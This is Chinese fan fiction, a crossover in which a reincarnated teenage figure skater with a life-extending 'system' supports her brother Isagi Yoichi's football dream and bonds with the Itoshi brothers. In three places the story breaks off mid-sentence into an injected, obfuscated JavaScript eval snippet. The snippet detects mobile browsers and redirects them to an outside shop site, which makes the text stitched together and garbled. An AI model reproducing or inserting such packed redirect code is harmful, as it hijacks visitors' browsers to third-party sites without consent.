《[综]我练花滑,但我弟世一喜欢足球》 1. 开端 千穗13岁,终于升到Junior青年组结束了Novice组时期的四连冠,并直接获得全日花样滑冰锦标赛青年组参赛资格。 不久后,她又很快被选为Junior GP(青年组大奖赛)强化B选手。 只是很可惜,她是00年1月1日出生的,没能在12年的7月前满13岁,没法参加今年3月的世青赛,明年的冬奥也没机会…… 不止一个人说她出生日期不太好,高峰教练说过,她要是再早出生一年就好。 然而知道14年冬奥冠军会是谁的千穗表示拒绝。 她觉得自己的出生日期完美避开了所有和花滑有关的关键剧情,简直就是天意。 在这个综了无数运动番的平行世界,根据《金牌得主》的设定,明年的女单冠军就是到时候16岁的美国选手莱莉.福克斯——她暂时可没胆子去挑战这种剧情设定。 但是大奖赛上肯定是要碰见对方的,她正好看看自己的水平够不够格—— 毕竟系统定的目标可是全满贯。 【越早实现全满贯获得寿命就越多、其他奖励也越丰富……】 【当然,如果每一场比赛都是冠军,那就更好了】99号补充道。 [这是要让我Cosplay夜鹰纯吗?我身后又没有作者亲妈]千穗吐槽。 嗯,没错,千穗是个穿越者、胎穿,或者也可以说是转生者。 她从出生开始就获得了这个自称编号99的系统,名字叫“白鸦”(她后来取的,因为当时刚好有只白色的乌鸦飞过)。 从知道这个世界梅西、C罗等出生日期基本提前个10年、NBA多了某两位日本人、花滑没有金猫梅娃杂技等……再加上系统任务经常要求她去看各种比赛、让她在意识空间观看一系列运动番,她就明白这个世界是怎么个情况了。 她本来也不是很关心这些出生,可谁叫自转生起,她看着自己的人物面板上寿命那一栏写着个明晃晃的18。 为了活下去,她就得赚取寿命。 看剧情角色比赛的时间、在意识里刷的运动番的时长和自己训练的时长,再就是与主角接触、自己比赛得冠/名次……都可以延长寿命,夺冠还给额外奖励。 白鸦说它本质是个运动番系统,本来是要在这个世界找个某某番主角绑定的,但世界意识意外发现了千穗这个本不该存在的灵魂,于是它就被世界意识安排帮她融入这个世界了。 虽然最初几年她也一直在阴谋论这个系统,但随着相处的越久,她越发现这个系统基本没啥用——这玩意儿比她还爱看剧打游戏,还不像她一样只能看运动番,甚至闲来没事还爱刷小黄文(嫌弃)。 而且给的延长寿命的条件也很简单……毕竟她弟就是某足球番的主角好吗?每天和弟弟贴贴就能加一天寿命。 再就是推荐她选择某项运动,并以此的最高成就为目标作为主线任务……其实正合她心意。 她毫不犹豫的选择了上辈子因为13岁那年的车祸放弃的花样滑冰。 说起来她上辈子跟车祸是真“有缘”,13岁遇上车祸放弃了爱好,20岁遇上车祸直接转生。 每每想起来就让人恨得牙疼。 所幸上辈子她从小父母离异,带大她的爷爷奶奶都去世了,刚出车祸那几年又给自己搞成个孤僻的样子,后面好转了也懒得交友,浑身上下只剩下每年固定从父母公司分到她账上的巨额财产——转生了也没多少遗憾。 所以,就在这个世界好好活一次吧。 . 为了庆祝洁千穗即将参加大奖赛,洁家今天的晚饭有寿喜烧。 洁世一夹起一片牛肉,还没送进嘴里,就被一双手捧住了脸。 “呜呜呜——” 千穗的手指陷进弟弟软乎乎的脸颊肉里,左右开弓往外扯。 “小草——” “我不是小草。” “我们的小草真的、真的不再试一下花滑吗?” 世一被揉得口齿不清:“姐——窝系足丘——” “你好歹跟着姐姐一起考完四级了啊!”千穗边揉搓弟弟的脸边嘟囔着,“明明也是天赋怪结果居然放弃什么的——” “但是我更喜欢足球啊。”世一说。 千穗的手停住了。 世一趁机把自己的脸从姐姐手里解救出来,认真揉了揉被捏红的腮帮子,抬眼看着她: “明明是姐姐之前说过支持我踢足球的。” “……我说过吗?” “你说过。”世一斩钉截铁,又从锅里捞了片白菜,“你前年说的。你说只要我真的想好了,你就支持我。” 厨房里传来母亲欣慰的笑声。 千穗噎住。 好吧,她确实说过。 她三岁开始就和父母说要练花滑,四岁正式接触。 而弟弟嘛,小时候当然是姐姐干什么他就干什么,虽然他四岁看完命中注定的足球赛后渐渐喜欢上足球,但直到八岁也还是跟在他后面一起练花滑。 也就是8岁那一年,他在电视上看到了诺埃尔.诺亚的比赛,将他视为偶像并且确认了自己想踢足球的心。 但是小孩子嘛,认为自己说好了要和姐姐一起练花滑,结果中途喜欢上足球不想练花滑了,自认为这是种对姐姐的“背叛”,犹犹豫豫了快一年,才敢跟家里人说自己不喜欢。 但其实爸妈和千穗早看出来了。 千穗当时怎么说来着? “——我喜欢花滑是我的事,你喜欢足球也是你的事,我们为什么一定要喜欢一样的事物?” 并且作为世一上小学后就解锁足球番、知道他未来的人,千穗可以说是从小就培养他“利己主义”的属性。 所以在她再次问出“练花滑还是踢足球”的问题时,她弟弟能坚定的说: “那我还是想踢足球。” 她说好,只要他想清楚,她就支持。 ——她仅仅只是希望自己的弟弟,不因为姐姐而选择花滑,也不因为所谓剧情的不可抗力去踢足球,而是真的热爱某事物,并为之奋斗。 当然,还有一点原因,是那时候她一想到“蓝色监狱”、这个她弟将来要进的鬼地方,还有她弟会遇到的一堆…… 算了。 不生气,反正最后她弟能得偿所愿。 千穗心平气和地松开手,改成揉了揉世一的头发,手感比小时候硬了点,但还是毛茸茸的。 “行吧。”她耸耸肩,“那你继续踢,只要喜欢就好。” 世一弯起眼睛,低头专心吃菜。 父亲适时开口打圆场:“千穗这次拿到JGP资格,是不是可以选比赛站了?想去哪?” “哪里是我想去哪儿就能去啊,肯定是看支愿和协会安排的。不过捷克站基本确定了,另一站……”千穗想了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326679|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想,“按照志愿和我的时间安排,教练估计是法国站……” “都是欧洲啊!”母亲从厨房探出头,“那不是有很多好吃的?” “妈,我是去比赛的。” “比赛完也可以吃嘛。” 世一突然问:“姐姐,诺阿是法国人。” “好像是的……他那几天有比赛嘛,我看能不能抽出时间帮你去要签名?”千穗记得这个诺埃尔.诺亚现在好像加入了德国的巴斯塔·慕尼黑俱乐部。 世一摇了摇头,“以后我自己去。” 千穗看着他。 十一岁的弟弟低着头,筷子戳着碗里的豆腐,像是在说一件很平常的事。 但她听出来了。 他不是在说“想去法国旅游、看偶像比赛”。 他是说—— “行啊。”千穗往他碗里又夹了片牛肉,“到时候姐姐陪你。” 世一抬头看她,眼睛亮晶晶的。 “真的?” “真的。你先拿个世界第一前锋给我看看。” “好。” 他说得轻巧,仿佛那是什么理所当然的事。 千穗看着他的侧脸,突然有点恍惚。 她想起上辈子,大概也是这个年纪,她最后一次在电视上看花样滑冰比赛。 那个选手滑完最后一个联合旋转,在冰面上张开双臂,像一只收翅落下的鸟。 她记得自己哭了。 一个人在病房里,哭得很难看。 ……后来她再也没去冰场。 “姐姐。” 世一的声音把她拉回来。 “嗯?” “你会拿奥运金牌的吧?” 千穗愣了一下,这是她从小和家里人说的目标。 然后她笑了,伸手又把弟弟的脸揉成一团。 “当然。” 世一挣扎着从她手里逃出来,顶着一头乱糟糟的头发,很认真地点点头。 “那我也会拿到大力神杯的。” 厨房里母亲又开始笑,父亲在旁边说着“好好好都加油都加油”,电视里播着不知道什么比赛的集锦,锅里的寿喜烧咕嘟咕嘟冒着泡。 千穗看着眼前这个还没她肩膀高的小孩,想起未来某天他会走进那个蓝色监狱,会在无数场残酷的选拔里杀出一条血路,会成为让整个日本足坛震动的名字。 现在他只是个因为被姐姐揉脸而气鼓鼓的小学生。 “好。”她说,“我们都有光明的未来。” 世一不知道姐姐为什么突然笑得这么奇怪,但他还是跟着点了点头。 然后低头,继续吃他的晚饭。 直到父亲打开电视。 电视里,足球解说员的声音模糊地飘过来。 “……诺埃尔·诺亚今天再入一球,本赛季进球数已达到……” 千穗筷子一顿。 诺埃尔·诺亚。 这个世界第一前锋。 侧头,她弟果然目不转睛地看着电视。 她跟着看了一会儿,最后出声提醒: “世一,牛肉要煮老了。” “……哦!” 洁世一这才低头捞肉。 洁千穗又盯了会儿电视里的人,转头让父亲换成了花滑联播。 总之,先不去想那些有的没的了。 反正路还长着呢。 2. 冠军 冰面是冷的。 洁千穗屈膝礼谢幕后滑向挡板、准备捡起冰场边缘堆积的礼物,却控制不住蹲下时,这是她脑海中唯一清晰的念头。膝盖再次弯折的瞬间,汗水顺着脊椎滑进考斯滕的布料里,黑蓝色水钻在灯光下闪了一下,像一滴坠落的星。 体育馆的喧嚣隔着某种介质传来,闷闷的,仿佛她在水里。 缓了一两秒,她视线才完全聚焦在礼物堆。 最上面是一个白色乌鸦玩偶,毛茸茸的,眼睛圆溜溜,爪子上系着一条黑色缎带。 她愣了一下。 然后抬头看向观众席。 二层看台第三排,有个灰紫色头发的少年正侧着头和旁边戴眼镜的人正光明正大的和她招手。 迹部景吾。 她实际上最大的个人赞助商,大她四岁。因为五年前的某次偶遇,结下了缘分,算是朋友吧,知道她喜欢什么玩偶。 旁边是后面认识的忍足侑士。 千穗彻底回神了。 她站起身、弯腰,把玩偶塞进礼物袋里,滑向出口,换下冰鞋坐在了Kiss&Cry等分区。 高峰教练和助教在旁边陪她,接过了礼物袋。 然后他们陷入了沉默。 因为分数还没出。 她盯着冰面上自己留下的弧线——那些深浅不一的划痕会在几分钟后被浇冰车抹平,就像她从未来过。 然后她听见了。 自由滑总分126.01。 她短节目总分多少来着、嗯,64.30…… ——所以是190.31。 全场安静了半秒,然后炸开。 ……后面发生了什么?她站上了领奖台最高的那个位置,好像在笑,又好像面无表情。 下台后,再次经过Kiss&Cry区时她瞥了一眼教练。因为她加入俱乐部的高峰教练面上是复杂到无法形容的表情,带着那么点怀念。 或许是想到了夜鹰纯。 她没那么多情绪。 她只是觉得有点不真实。 不久前的那四分钟像是另一个人滑的。那个人的阿克塞尔三周跳得比训练时还高,落冰稳得像扎了根;那个人的联合旋转转得比想象中更快,黑蓝色的裙摆旋成一朵花;那个人的步法踩着《艺伎回忆录》的最后一个音符停在冰面中央,胸口剧烈起伏,但脸上挂着笑。 那不像她。 她是那个训练时摔了二十次三周跳的人。 ——但也确实是这个分数出来后被闪光灯淹没的人。 采访说了一堆套话。 她可以离场了。 父母就在通道尽头等她。 母亲张开双臂,她把脸埋进母亲肩膀里,闻到熟悉的洗衣液味道。父亲的手落在她头顶,很轻,像她小时候那样揉了揉。 “滑得真好。”父亲说。 “嗯。” “连跳做得特别漂亮。”为了她专门研究过花滑的母亲夸道。 “嗯。” “走吧,回家。”他们说。 “嗯。” 千穗一路上都没怎么说话。 手机在口袋里震个不停,她靠在车窗上,看着窗外飞速后退的街灯,一条一条翻着消息。 ……好多都是那些她因为根据系统任务看比赛认识的朋友。 幸村精市:【看到了直播,阿克塞尔跳太美了,恭喜。】 她笑了笑。这位网球部部长的审美一如既往在线,夸人夸得恰到好处。 孤爪研磨:【看了比赛,很厉害……但是跳那么高,很累吧。】 配图是他家猫瘫在沙发上的照片。 千穗没忍住笑出声。 往下翻。 糸师冴:【还不错。】 只有三个字。 千穗盯着屏幕看了五秒。 这算什么,是夸奖吗?是她认识的那个说话像没吃饭的糸师冴会说的“还不错”吗? 她想了想,打字回复:【谢谢,你最近比赛怎么样?】 发送。 然后继续往下翻。 忍足侑士:【现场看比直播震撼多了,恭喜。景吾的乌鸦挑了很久,本来想扔玫瑰的,被我拦住了。】 千穗抬头看了一眼被扔在副驾驶座上的白色乌鸦。 玫瑰。 扔玫瑰。 她想象了一下那个画面,怪怪的,该说不愧是英国长大的人吗? 嗯,忍足拦得好。 车停在自家楼下时,千穗才注意到母亲一直在后视镜里看她。 “怎么了?” “没什么。”母亲笑了笑,“看你一直在笑。” 千穗愣了一下。 她笑了吗? 电梯里,她对着镜子看了看自己。 黑发有点乱,蓝眼睛亮亮的,嘴角确实弯着。 好吧。 到家时世一已经睡了,茶几上放着用保鲜膜盖好的蛋糕,旁边压着一张纸条: 【姐姐,蛋糕我尝了一小口,没尝出味道,所以又尝了一小口,现在缺了一个角。——世一】 千穗被弟弟可爱到了。 她把蛋糕端进自己房间,坐在床上,一边吃一边继续看手机。 消息还在源源不断地进来。 她一条一条回着,直到手指有点酸。 然后她停下来,看着窗外城市的灯光。 今天她赢了。 赢了青少年组总决赛。 190.31分,冠军。 …… 可是莱莉不在。 莱莉·福克斯,今年刚好升组。 而几个月后、就是明年冬奥会,莱莉十六岁,而她十四岁。 ……好吧,是她没算好。 她们虽然一个赛季,但是不同组。 原著说她冬奥夺冠后退役了,但16岁退役是不是太早了?比夜鹰纯20岁退役还早。 她应该依旧在赛场上活跃了几年吧…… 不知道有没有机会和她比一场。 千穗把最后一口蛋糕塞进嘴里,腮帮子鼓得像只仓鼠。 她想起系统的那个目标。 全满贯。 越早实现活得越长。 她嚼着蛋糕,盯着窗玻璃上自己的倒影。 黑发。蓝眼。黑蓝色的考斯滕还没来得及换下来,水钻在台灯光里闪。 还有窗外飞过一只白色的鸟。 …… 鸽子吗? 千穗眨眨眼,那只鸟已经飞远了。 手机又震了一下。 糸师冴:【下周有比赛。还行。】 她低头看着这条消息,不知道为什么笑了一下。 还行。 那就是还不错的意思吧。 她把手机扔在床上,把自己也扔在床上,盯着天花板。 【恭喜】白鸦的声音终于浮现在她脑中。 【不看一下奖励吗?】 千穗这才发现,自己多了3年寿命……以前拿第一都只加一年,果然比赛层次高了就是好。 还有梦中训练室时长加一个小时,五年前第一次比赛夺冠得到的【幸运SSS】卡再次出现。 她就是因为这个幸运卡,遇见了刚回日本上初中的迹部景吾,然后对方成了她最大的赞助商。 虽然道具限定她无法主动使用,但这种相当于因果律的能力实在太强力了。 与之同样强力的只有之前劝服高峰教授时用过的【回心转意】卡。 最后是体质+0.25%。 [依旧如此吝啬]千穗吐槽。 【因为不能超模】白鸦也依旧是那一套说辞。 千穗也知道这个道理。 她在梦中空间还能练习4小时(现在是5小时了)就已经够超模了,只要在梦里练会了,等现实里她训练时找到感觉,总能复刻出来的。 就是综漫世界的大家体质莫名其妙的好……她这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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洁千穗的手落在糸师凛头顶的时候,感觉到那颗毛茸茸的脑袋轻微地僵了一下。 然后顺从地任她揉了两下。 “走了凛凛——”她松开手,往通道的方向抬了抬下巴,“一起去找你哥吧。” “哦。” 凛乖乖点头。 他往前走了两步,又停下来回头看了眼还和千穗牵手一起走的世一。 看上去略带鄙夷、那种“都这么大人了还要和姐姐牵手”的鄙夷。 洁世一看懂了,然后瞪了他一眼。 千穗表示能说“我哥哥是全世界最温柔的人”的家伙才是最没资格鄙夷世一的。 然后她伸出另一只手,一手拽一个走向通道处。 凛有点想反抗,但最后也没说啥。 不爽的变成世一了,他用控诉的目光看向千穗。 千穗假装没看见,继续向前走。 . 通道不长,转个弯就能看见混采区。 从小就被称为“足球天才”的糸师冴正在接受采访。 他站在镜头前,表情一如既往地淡,回答记者的提问时惜字如金,偶尔蹦出几个词就算是交代了。 凛停下来,站在通道口,隔着人群看自己的哥哥。 千穗也停下来,站在凛旁边。 “……今天的表现满意吗?” “还行。” “下一场比赛的目标是?” “赢。” 对面的记者像是哽住了,半天才又问一句: “……还有什么想说的?” “没有。” 语气都不带变化的。 千穗:这很糸师冴。 3. 冰淇淋 认识糸师冴是在六岁的时候。 原因是爸爸洁一生公司将其调任到隔壁神奈川当负责人。由于来回通勤要三个小时,为了不让父亲那么辛苦,他们家暂时从埼玉县搬到神奈川镰仓市住。 实际是白鸦为了让洁千穗现实里看《灌篮高手》主角成长过程中的重要比赛完成任务,自己耗能量帮她爸冲业绩、各种细节在领导潜意识埋下调任暗示(也亏那时候她弟还没上小学,妈妈还没回去工作)。 虽然某篮球番的动画剧情加起来都不满一年,但现实里父亲调任时长是两年,于是他们在神奈川一共待了两年。 洁千穗的6岁到8岁,在神奈川镰仓市读小学一二年级;洁世一的4岁到6岁,也在当地上完幼稚园。 而他们当时的邻居,就是糸师家。 甚至4岁那年让洁世一爱上足球的比赛,都是和糸师家一起看的,是邻里之间交流感情的社交手段。 刚解锁《蓝色监狱》剧情的千穗当时就怀疑是糸师凛和她弟的孽缘。 同时看着当时虽然像自闭蘑菇但实在可爱的小凛,对照漫画里恨天恨地极品地雷男凛…她陷入了沉思。 最终得出结论糸师兄弟的国文通通不及格,社会化水平亟待提高。 顺带一提,千穗也是那两年在神奈川认识的幸村精市等人,8岁回埼玉县前顺道去东京逛了一圈又认识了迷路的迹部少爷(严重怀疑,是因为幸运卡迹部景吾才会想自己逛甩开保镖结果迷路的)。 不过说实在的,千穗也没想到就连糸师冴这种性格的人她都能交上朋友,莫非她是社交天才? 当年要不是她刚好要去各个地方比赛父母给买了手机,再次搬家后他们可联系不上。 而且刚搬家半年这小子明明也有手机但就是不联系她,后面第一次NoviceB组比赛夺冠,他突然发来恭喜,他俩就又莫名其妙地成了……朋友? 大概算朋友吧。 虽然这朋友说话像没吃饭,发消息往往都是她说一大串对面就一两句简单句,见面也从来不寒暄。 但她比赛的时候他会看、即便因为时间距离问题通常是直播/录播。 她发消息他也会回。 偶尔还主动要求她来看自己比赛。 洁千穗看着结束采访走到他们身边的糸师冴再次感慨:这人“交朋友”的方式果然难懂。 . “冴哥踢得真好!” 洁世一仰着头,眼睛亮晶晶的,怀里还抱着那三朵白玫瑰。 糸师冴低头看了他一眼,没说话。 倒是旁边的凛先开口了:“那当然,我哥是最厉害的!” “我没问你。” “我也没跟你说话!” 洁千穗也低头看着这两个小学鸡,心想果然不管未来是什么性格,小时候都差不多。 “我哥今天进了两个球,一个助攻。”凛扳着手指头数,努力把话说得完整,“第二个球那个角度,一般人都踢不进去,但我哥就是能踢进去,因为他是天才——” 他说着说着卡壳了,大概是词穷,急得脸都有点红。 世一眨眨眼:“然后呢?” “然后……”凛憋了半天,“然后就是天才!” “哦。”世一点点头,又看向糸师冴,“所以冴哥是天才?” 糸师冴总算开了金口:“嗯。” 语气平淡得像在说今天天气不错。 千穗在旁边听着,差点没忍住笑出声。 这俩人,一个夸人夸得词穷,一个被夸得理直气壮,不愧是兄弟。 她正想着,忽然感觉有视线落在自己身上。 抬眼,正好对上糸师冴的眼睛。 他看着她,微微偏了下头。 “怎么了?” “没什么。”千穗收回神。 糸师冴的目光却往下移了移,落在那三朵被世一抱在怀里的白玫瑰上。 “花哪来的?” “我粉丝送的~”千穗弯起眼睛,语气故意拖得长长的,“冴君羡慕嘛~” 糸师冴面无表情地看着她。 过了两秒,从鼻腔里发出一声意味不明的“哼”。 也不知道是“不羡慕”还是“有什么好羡慕的”。 反正千穗自动翻译成“还行”。 她正要再说什么,糸师冴已经抬脚往前走,顺便伸手拎住了正在和世一拌嘴的凛的后领。 “走了。” 凛被拎得踉跄两步,还不忘回头对着世一做狰狞脸:“我踢球肯定比你厉害!” “你都没上场!” “我训练了!” “那也没上场!” 千穗落在最后,看着前面两个小的你一言我一语,中间隔着个大的面无表情拎着弟弟往前走,肩上还背着运动包。 通道的灯光落在他小豆色的头发上,边缘染成浅浅的颜色。 她又想起刚搬来神奈川那年第一次见到糸师冴。 那时候他六岁不到点,已经是个不爱说话的小孩了,一个人坐在院子里颠球,颠了一百多个都不停。 她从镰仓的公共冰场回来,因为无聊又不想刷运动番,就趴在楼上的窗口往下看对面院的他颠球、边看边数打发时间,看了大概十分钟,他终于停下来,转头看她。 “有事吗?” 语气跟现在差不多。 她那时候为了缓解尴尬是怎么回答的来着? “你球颠得真好,能教我吗?” 然后他就“哦”了一声,让千穗下来。 千穗想着反正没事干,就真下去跑对面院了。 这人也是真的教了——虽然他的“教”是指自己颠两下就让她上脚。 所幸她在楼上看了这么久,颠球也不难,上脚时基本会了。 结果没等她觉得这东西无聊不好玩、他就拉着她跑去旁边的小足球场凑数、凑满两支队踢了一场。 那边踢足球的小朋友们凑满人可以踢比赛玩开心了,她从头到尾既懵逼又无语。 的亏她运动天赋不错,还看了一堆足球番了解规则,不然这小子以后估计见到她就烦。 ……后来熟了才知道,他那会儿也觉得她莫名其妙,叫她下来还真下来,所幸后面足球踢得还好,不然他就要赶人了。 ——这人真的是从小就自我。 千穗想着这些有的没的,脚步不自觉地快了两步,追上前面的三个人。 糸师冴侧头看了她一眼。 “笑什么?” “没什么。”千穗把嘴角压下去,又没压住,“就是觉得你这么多年一点没变。” “……什么意思?” “没什么意思。” 糸师冴看了她两秒,收回视线。 通道尽头的门推开,傍晚的光涌进来。 凛终于挣脱了哥哥的手,撒腿往外跑,世一在后面追,两个人一前一后冲进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326681|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夕阳里。 千穗抱着已经回到她手上的三朵白玫瑰,站在门边等后面的人。 糸师冴走到她旁边,停了一下。 “下周还有比赛。” “嗯,我也有。”指全日锦标赛。 “看吗?” 千穗侧头看他。 夕阳把他的侧脸轮廓勾得很柔和,表情还是那副淡淡的模样。 她笑了一下,反问: “你看我比赛吗?” 糸师冴没说话,抬脚往前走。 千穗看着他的背影,笑出了声。 她知道答案不言而喻。 今日最后的阳光毫无保留地落在四个人身上,拉出长长的影子。 她依旧跟在最后面,不紧不慢地走着。 手机在口袋里震了一下。 她掏出来看—— 白鸦:【恭喜解锁成就:和《蓝锁》重要角色建立特殊羁绊X3】 千穗脑内吐槽:[……这也算成就?还有特殊在哪?] 【系统判定算】 [那奖励呢?] 【寿命+1天,附赠当前场景截图一张】 [我要截图干嘛?] 【留作纪念】 千穗看着屏幕上那张照片——阳光、通道、三个走在前面的背影,还有自己落在最后的那道影子。 她盯了几秒。 然后把手机收进口袋。 “喂——”她朝前面喊了一声,“等等我——” 凛回过头。 世一也回过头。 连糸师冴都侧了侧脸。 她小跑几步追上去,挤进三个人中间,左手揉揉世一的脑袋,右手拍拍凛的肩膀。 “走吧,请你们吃冰淇淋。” “为什么?”凛问。 “庆祝啊。” “庆祝什么?” 千穗想了想。 “庆祝今天天气好。” 凛露出“你在说什么”的表情。 他肯定以为是庆祝他哥又赢了比赛。 世一笑眯眯地说好。 糸师冴没说话,但也没拒绝。 四个人一起走出了体育馆。 最后千穗到旁边的冰激凌车买了两份冰激凌。 “……冬天为什么还卖冰淇淋?”凛手上拿着巧克力薄荷味冰淇淋,意外的沦为了吐槽役。“而且你为什么不给自己买?” “冬天吃冰淇淋才有意思!”千穗理直气壮。 “姐姐后天还要比赛,不能吃冰淇淋。”洁世一则舔着自己的抹茶味冰淇淋,替千穗解释这个问题。 “我们就能吃吗?”凛这么说着,也还是尝了一口。 “你哥不也没吃嘛。” 千穗指了指旁边不吭声仿佛在发呆的糸师冴。 糸师冴这才瞥了眼她。 “刚运动完就吃冰淇淋对身体不好。”凛认真替他哥解释。 “这不就得了……还有要叫我姐姐~” “不要——” “凛。”冴叫了他一声。 凛才略有些不情愿地喊了声“千穗姐”。 “哎~” 千穗笑眯眯应下。 然后开始抱怨:“明明小时候都乖乖叫姐姐的,现在完全变了呢……果然人类幼崽越长大越不可爱——” 末了补充一句“当然,我们家世一除外”。 “谁要你夸可爱啊!” 4. 香草味 最后四个人都吃了冰淇淋。 起因是洁千穗没忍住,想着就一口也没问题。 世一的抹茶冰淇淋举在她面前,挖了一勺还没来得及送进嘴里,她就凑过去咬住了那个勺尖。 “姐——!” “我就尝一口。”千穗含着勺子含糊不清地说,蓝眼睛弯成两道月牙,“就一口。” 世一鼓着脸看她,但也没把勺子抢回来。 等千穗把勺子还给他,那一勺已经没了。 旁边的糸师凛目睹了全过程。 他低头看看自己手里的巧克力薄荷冰淇淋,又看看洁世一手里缺了一角的抹茶冰淇淋,再看看洁世一的表情——那种“算了反正姐姐就这样”的认命表情。 然后他做出了一个决定。 凛把自己的冰淇淋举起来,递到糸师冴面前。 “……干嘛?” “给你吃。”凛的表情很认真,“我也让哥哥尝一口。” 糸师冴垂眼看着他。 “我不吃。” “为什么?” “不想吃。” 凛的手还举在那儿,执着得很:“可是世一的姐姐都吃了。” “那是她馋。” 洁千穗在旁边笑出了声。 糸师冴瞥她一眼。 她立刻收敛笑容,但眼睛里的笑意还在。 凛还在举着冰淇淋,脸上带着一种“为什么世一的姐姐可以我就不行”的不服气。 僵持了三秒。 糸师冴叹了口气——真的是叹了口气,洁千穗认识他这么多年头一回听他叹气——然后低下头,就着凛的手,咬了一小口。 很小的一口。 凛满意了。 他收回冰淇淋,自己继续吃,还特意看了一眼洁世一,眼神里带着某种莫名其妙的胜利感。 洁世一莫名其妙地回看他。 千穗在旁边憋笑憋得肩膀直抖。 “你笑什么?”糸师冴问。 “没什么。”千穗努力板起脸,“就是觉得你们兄弟感情真好。” 糸师冴盯着她看了两秒,移开视线,没说话。 …… 事情本来应该到此为止。 冰淇淋吃完,垃圾扔掉,四个人往车站方向走。 列车站前广场人来人往,暮色四合,路灯次第亮起来。 然后洁千穗看见糸师冴停下了脚步。 她顺着他的视线看过去—— 一辆冰淇淋车。 就停在车站入口旁边,花花绿绿的灯牌亮着,上面贴着各种口味的标签。 “……”千穗看向糸师冴,“你不会还想吃吧?” 糸师冴没理她。 他径直走向那辆冰淇淋车。 凛愣了一下,立刻跟上去:“哥你要吃吗?我也要!” 世一也下意识迈步,被千穗拽住后领。 “等等看。” “等什么?” “看你冴哥买什么。” 世一不明所以,但还是乖乖站在原地。 然后他们看见糸师冴对着菜单看了一会儿,跟店员说了什么,然后接过一个很小的纸杯。 杯子里有两个小小的冰淇淋球。 非常小。 比便利店卖的试吃装大不了多少。 都是原味的香草——她最喜欢的口味。 糸师冴端着那个小杯子走回来。 凛仰头看着他:“哥,我的呢?” “你不是吃过了吗?” “可是……” 糸师冴没理他,直接把杯子递到洁千穗面前。 千穗愣住。 “干嘛?” “吃。” “……啊?” 糸师冴的表情没什么变化,语气也一如既往地淡:“你不是馋吗。” 洁千穗低头看着那两个小小的香草球。 再抬头看看糸师冴。 他脸上看不出任何多余的情绪,就好像这只是一件很平常的事。 但她认识他这么多年,从没见过他主动给人买冰淇淋。 “……你认真的?” “不吃我扔了。” “吃吃吃!” 千穗赶紧接过那个小纸杯。 但她没急着吃。 她低头看着那两个小球,想了想,把杯子递回去。 “一人一个。” 糸师冴垂眼看着那个杯子,又看看她。 “我不吃。” “你买的,你得吃一个。”千穗理直气壮,“不然就是浪费。” 糸师冴没动。 千穗就把杯子举在那儿,跟他僵持。 旁边凛和世一都停下来看他们。 过了两秒——也可能是三秒——糸师冴终于伸出手,从小杯子里拿起那个塑料小勺,挖了一个球。 很小的一个球,一口就能吃完的那种小。 他送进嘴里。 然后看向千穗。 千穗这才满意地挖起另一个球,塞进嘴里。 凉的,甜的,奶香味很浓。 她嚼了两下,咽下去,弯起眼睛。 “好吃。” 糸师冴没说话。 但他也没走。 就站在那儿,看着她把那一口冰淇淋咽下去,然后转身往车站走。 “走了。” 凛和世一跟在后面,还在小声拌嘴。 千穗端着已经空了的纸杯,落在最后。 她看着前面那个小豆发色的背影,又低头看看手里空空的杯子。 然后笑了一下。 很轻的,连自己都没察觉的那种笑。 她把空杯子扔进垃圾桶,快走两步追上去,挤到糸师冴旁边。 “诶。” “嗯?” “谢谢。” 糸师冴没说话。 但千穗看见他嘴角动了动。 幅度很小,小到几乎看不出来。 但她看见了。 …… 进站口到了。 千穗和世一的车次先到,他们要往左边的月台,时间较长、要跨县。 糸师兄弟要往右边,短程、只跨市。 四个人站在分流的地方,短暂地停顿了一下。 “那我走了。”千穗挥挥手,“凛凛再见,冴……下周见。” “下周见。”糸师冴说。 凛在旁边小声说了句“千穗姐再见”,被世一听到,世一也小声回了句“凛再见”。 两个小的对视一眼,又迅速移开视线。 千穗拉着世一往左边走。 走了两步,她回头。 糸师冴和凛还站在原地。 凛仰着头在跟哥哥说什么,糸师冴低头听着,手搭在他脑袋上。 然后糸师冴抬起头,正好对上她的视线。 隔着来来往往的人群,他看着她。 千穗又挥了挥手。 他没什么表情,只是微微点了一下头。 然后带着凛转身,往右边走去。 千穗看着那个背影消失在人群中,才收回视线。 “姐姐。”世一拽了拽她的袖子。 “嗯?” “冴哥是不是喜欢你啊?” 千穗脚步一顿。 “……你说什么?” 她心想岛国早恋文化还是影响到了她弟。 “就是……”世一想了想,“他给你买冰淇淋,还只给你买。” “那是因为我馋。” “我和凛也馋啊,可是为什么他不给我和凛买?” 世一仰着头看她,眼睛里带着那种“姐姐你不会真的没发现吧”的神情。 “你们刚才都吃过了,再吃就要闹肚子了……小孩子不懂别乱说。”千穗觉得他的说辞毫无说服力,于是弹了一下他的额头,“走了,车要开了。” 世一捂着额头,乖乖跟着她往月台走。 但走出去几步,他又开口: “不过姐姐,那个冰淇淋好吃吗?” 